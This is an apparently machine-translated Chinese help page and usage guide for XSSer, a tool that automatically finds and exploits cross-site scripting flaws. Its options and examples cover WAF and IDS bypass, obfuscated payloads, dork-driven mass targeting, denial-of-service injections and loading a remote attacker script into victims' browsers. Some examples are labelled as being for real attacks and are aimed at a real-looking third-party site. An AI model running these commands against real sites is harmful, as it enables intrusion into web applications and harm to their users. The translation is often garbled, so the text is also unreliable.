格式:

xsser [OPTIONS] [--all <url> |-u <url> |-i <file> |-d <dork> (options)|-l ] [-g <get> |-p <post> |-c <crawl> (options)]

[Request(s)] [Checker(s)] [Vector(s)] [Anti-antiXSS/IDS] [Bypasser(s)] [Technique(s)] [Final Injection(s)] [Reporting] {Miscellaneous}

跨站点脚本”是一个自动的框架来检测，开发在基于Web的应用程序报告的XSS漏洞。

选项:

--version 显示程序的版本号和退出

-h, --help 显示此帮助消息并退出

-s, --statistics 显示高级统计输出结果

-v, --verbose 活动详细模式输出结果

--gtk 推出Xsser GTK界面

--wizard 启动向导助手！

\*特殊功能\*:

你可以设置矢量（S）和Bypasser（S）来构建复杂的脚本XSS代码嵌入。XST允许你发现如果目标是脆弱的

“跨站跟踪”[ capec-107 ]：

--imx=IMX IMX -创建一个图像与XSS（-- IMX的图像，PNG）

--fla=FLASH FLA -创建一个XSS的Flash影片（-- FLA SWF影片。）

--xst=XST XST -跨站跟踪（-- XST HTTP（S）://host.com）

\*选择目标（S）\*:

必须指定至少一个选项来设置源代码从中获取目标（S）的网址：

--all=TARGET 自动审核一个完整的目标

-u URL, --url=URL 进入目标审计

-i READFILE 从文件中读取目标（S）网址

-d DORK 搜索目标（S）使用查询 (例如: 'news.php?id=')

-l 从列表中的“搜索”的呆子

--De=DORK\_ENGINE 使用此搜索引擎（默认为：鸭）

--Da 搜索大量使用所有的搜索引擎

\*选择类型的HTTP / HTTPS连接（S）\*:

这些选项可以用来指定要使用的参数（s）作为有效载荷（S）注入：

-g GETDATA 发送有效载荷 (例如：'/menu.php?q=')

-p POSTDATA 发送有效负载 (例如：'foo=1&bar=')

-c CRAWLING 将要在目标上爬行的网址数（s） 1-99999

--Cw=CRAWLER\_WIDTH 深化水平履带：1-5（默认为3）

--Cl 只抓取本地目标（S）的网址（默认是真的）

\*配置请求（s）\*:

这些选项可以用来指定如何连接到目标（S）有效载荷（S）。你可以选择多个：

--cookie=COOKIE 改变你的HTTP cookie头

--drop-cookie 忽略设置的饼干头

--user-agent=AGENT 改变你的HTTP用户代理标头（默认欺骗）

--referer=REFERER 使用另一个HTTP Referer报头（默认没有）

--xforw 随机的IP值HTTP X-Forwarded-For集

--xclient 随机的IP值你的HTTP x-client-ip集

--headers=HEADERS 额外的HTTP报头换行符分开

--auth-type=ATYPE HTTP身份验证类型（基本消化，GSS或NTLM）

--auth-cred=ACRED HTTP认证证书（名称：密码）

--proxy=PROXY 使用代理服务器（Tor：HTTP：/本地：8118）

--ignore-proxy 忽略系统默认的HTTP代理

--timeout=TIMEOUT 选择您的超时时间（默认为30）

--retries=RETRIES 重试时，连接超时（默认1）

--threads=THREADS 并发的HTTP请求的最大数目（默认为5）

--delay=DELAY 每个HTTP请求之间的秒Delay（默认为0）

--tcp-nodelay 使用tcp\_nodelay选项

--follow-redirects 遵循服务器重定向响应（302）

--follow-limit=FLI 重定向请求的设置限制（默认为50）

\*检查系统\*:

这些选项是有用的，知道你的目标是否使用过滤器对于XSS攻击：

--hash 发送一个哈希来检查目标是否重复内容

--heuristic 利用启发式筛选的参数

--discode=DISCODE 设置回复丢弃注入的代码

--checkaturl=ALT 回复：检查使用替代URL -> Blind XSS

--checkmethod=ALTM 检查答复使用：获取或发布（默认值：得到）

--checkatdata=ALD 检查答复使用：替代有效载荷

--reverse-check 建立了从目标到XSSer反向连接证明是100%脆弱（推荐！）

\*选择向量（S）\*:

这些选项可用于指定注入（S）代码。重要的如果你不想将默认使用常见的XSS载体。选择只有一个选项：

--payload=SCRIPT OWN - 注入自己的代码

--auto AUTO - 注入名单由XSSer提供载体

\*反antixss防火墙规则\*:

这些选项可以用来尝试绕过WAF、IDS产品的具体。

如果需要的话，选择：

--Phpids0.6.5 PHPIDS (0.6.5) [ALL]

--Phpids0.7 PHPIDS (0.7) [ALL]

--Imperva Imperva Incapsula [ALL]

--Webknight WebKnight (4.1) [Chrome]

--F5bigip F5 Big IP [Chrome + FF + Opera]

--Barracuda Barracuda WAF [ALL]

--Modsec Mod-Security [ALL]

--Quickdefense QuickDefense [Chrome]

\*Select Bypasser(s)\*:

这些选项可以用来编码向量（S），并试图绕过

可能的反XSS过滤器。他们可以与其他技术相结合：

--Str 使用方法fromcharcode()字符串。

--Une 使用unescape()功能

--Mix fromcharcode()和unescape()混合字符串。

--Dec 采用十进制编码

--Hex 使用十六进制编码

--Hes 使用十六进制编码用分号

--Dwo 用DWORD IP地址编码

--Doo 八进制的IP地址编码

--Cem=CEM 设置不同的'Character Encoding Mutations'

(反向混淆器) (例如：'Mix,Une,Str,Hex')

\*特殊技术（S）\*:

这些选项可以用来注入代码使用不同的XSS

技术。你可以选择多个：

--Coo 首席运营官-跨站点脚本Cookie注入

--Xsa 跨站点脚本之间的代理

--Xsr 跨站点脚本引用的次序

--Dcp DCP数据控制协议注射

--Dom DOM文档对象模型的注射

--Ind IND - HTTP响应拆分引起的代码

--Anchor ANC - 采用锚隐形运输装载机（DOM阴影！）

\*选择最终注射（S）\*:

这些选项可以用来指定要注入的最终代码脆弱目标（S）。重要的是如果你想利用“在野外”

发现的漏洞。只选择一个选项：

--Fp=FINALPAYLOAD OWN - 开发你自己的代码

--Fr=FINALREMOTE REMOTE - 成就了脚本远程-

--Doss DOSs - XSS（服务器）拒绝服务

--Dos DOS - XSS（客户端）拒绝服务

--B64 B64 - Base64编码的标签编码（rfc2397）

\*特殊终末注射（S）\*:

这些选项可用于执行一些特殊的“注射”（S）上的脆弱目标（S）。您可以选择多个，并结合他们

你最后的代码（除DCP编码）：

--Onm ONM - 使用onmousemove()事件

--Ifr IFR - 使用< iframe >源标签

\*报告\*:

--save 导出到文件（xssreport。原）

--xml=FILEXML 导出到XML（- xml文件，XML）

\*其他\*:

--silent 抑制控制台输出结果

--no-head 在启动测试之前不发送一个头部请求

--alive=ISALIVE 在检查目标是否还活着时设置错误的限制

--update 检查最新的稳定版本

用法举例:  
==============================  
  
\* 从URL进行简单XSS注入:  
  
$ python XSSer.py -u "http://www.2cto.com "  
  
-------------------  
\* 从一个文件中读取URL并且进行简单的注入,同时设定代理参数和HTTP Header参数:  
  
$ python XSSer.py -i "file.txt" --proxy "http://127.0.0.1:8118" --referer "666.666.666.666"  
  
-------------------  
\* 从URL进行多重注入, 使用自动化负荷,和代理, 注入负荷使用116进制编码"Hex", 产生冗长的输出，并且将结果保存到一个文件(XSSlist.dat):  
  
$ python XSSer.py -u "http://www.2cto.com " --proxy "http://127.0.0.1:8118" --auto --Hex --verbose -w  
\* 从URL进行多重注入, 使用自动化负荷和特殊的文字编码(第一, 改变负荷为16进制; 第二, 改变第一次的编码为字节码到字符串; 第三， 把第二次的编码重新进行16进制编码), 使用代理欺骗, 改变时间延迟为"20" and 使用多线程(5 个线程):  
  
$ python XSSer.py -u "http://www.2cto.com " --auto --Cem "Hex,Str,Hex" --user-agent "XSSer!!" --timeout "20" --threads "5"  
  
-------------------  
\* 从文件读取进行高级注入, 负荷采用-own- payload 参数，并且使用Unescape() 函数进行字符编码绕过检测:  
  
$ python XSSer.py -i "urls.txt" --payload 'a="get";b="URL(\"";c="javascript:";d="alert('XSS');\")";eval(a+b+c+d);' --Une  
  
-------------------  
\* 傻瓜式的选择"duck" 引擎进行注入(XSSer 蠕虫!):  
  
$ python XSSer.py --De "duck" -d "search.php?"  
  
-------------------  
\* 注入爬行深度为3 ，页面数目（宽度）为4 来进行检测(XSSer 蜘蛛!):  
  
$ python XSSer.py -c3 --Cw=4 -u "http://www.2cto.com "  
  
-------------------  
\* 从URL简单注入, 使用POST方式, 并且统计结果:  
  
$ python XSSer.py -u "http://www.2cto.com " -p "index.php?target=search&subtarget=top&searchstring=" -s  
  
-------------------  
\* 从URL进行多重注入，发送参数类型为GET, 使用自动负荷, 使用八进制的IP地址进行混淆并且输出结果到一个"tinyurl" 短网址(为分享者准备!):  
  
$ python XSSer.py -u "http://www.2cto.com " -g "bs/?q=" --auto --Doo --short tinyurl  
  
-------------------  
\* 从URL进行简单注入, 使用GET 参数, 用Cookies参数注入一个向量， 尝试使用一个DOM 幽灵空间(服务器无日志记录!) 如果存在任何"漏洞", 则手工植入"恶意" 代码(为真正的攻击者准备!):  
  
$ python XSSer.py -u "http://www.2cto.com " -g "bs/?q=" --Coo --Anchor --Fr="!enter your final injection code here!"  
  
-------------------  
\* 从URL进行简单注入, 使用GET 参数, 尝试产生一个带"恶意代码" 短网址(is.gd) 使用一个有效的DOS来攻击客户端:  
  
$ python XSSer.py -u "http://www.2cto.com " -g "bs/?q=" --Dos --short "is.gd"  
  
-------------------  
\* 多点多重注入, 从一个目标中提取目标, 运行自动负荷,改变时间延时为"20" ，并且使用多线程(5 个线程), 增加延时到10 s, 注入参数到HTTP 的USer-Agent, HTTP 参数 和Cookies参数, 使用Tor代理, IP进行八进制混淆, 进行结果统计, 冗长 模式创建短网址(tinyurl) 来发现任何有效的攻击负荷(真正的攻击模式!):  
  
$ python XSSer.py -i "list\_of\_url\_targets.txt" --auto --timeout "20" --threads "5" --delay "10" --Xsa --Xsr --Coo --proxy "http://127.0.0.1:8118" --Doo -s --verbose --Dos --short "tinyurl"  
  
-------------------  
\* 注入用户的XSS攻击向量在"在空白处"创建带恶意代码的虚假图片, 并且准备被上传.  
  
$ python XSSer.py --Imx "test.png" --payload "!在这儿输入你的恶意代码!"  
  
-------------------  
\* 报告输出'positives' 注入到dorking搜索(使用"ask" dorker) ，直接写入到一个XML 文件.  
  
$ python XSSer.py -d "login.php" --De "ask" --xml "security\_report\_XSSer\_Dork\_cuil.xml"  
  
-------------------  
\* 在dorking 搜索中输出正确的结果(使用"duck" 标示) 可以直接查看[http://identi.ca](http://identi.ca" \t "http://www.kali.org.cn/_blank)  
(XSS 渗透测试Vs 僵尸网络联盟)  
  
$ python XSSer.py -d "login.php" --De "duck" --publish  
  
\* 在线例子:  
  
-[http://identi.ca/xsserbot01](http://identi.ca/xsserbot01" \t "http://www.kali.org.cn/_blank)  
-[http://twitter.com/xsserbot01](http://twitter.com/xsserbot01" \t "http://www.kali.org.cn/_blank)  
  
-------------------  
\* 使用XSS代码注入创建一个.swf 文件  
  
$ python XSSer.py --imx "name\_of\_file"  
  
-------------------  
\* 如果目标产生错误的结果，则每次发送一个检测hash。  
  
$ python XSSer.py -u "www.2cto.com " --check  
  
-------------------  
\* 从URL进行多重Fuzz注入, 包含DCP 注入 利用自己的代码, 用短网址进行欺骗, 发现有用的结果. XSS实时利用.  
  
$ python XSSer.py -u "www.2cto.com " --auto --Dcp --Fp "enter\_your\_code\_here" --short "is.gd"  
  
-------------------  
\* Base64 编码中间的标记(rfc2397) 从而对一个可攻击目标进行手工利用.  
  
$ python XSSer.py -u "www.2cto.com " -g "vulnerable\_path" --payload "valid\_vector\_injected" --B64  
  
-------------------  
\* 利用自己的"own" -远程代码-直接在浏览器中进行加载和Fuzz测试。  
  
$ python XSSer.py -u "www.2cto.com " -g "vulnerable\_path" --auto --Fr "my\_host/path/code.js" --launch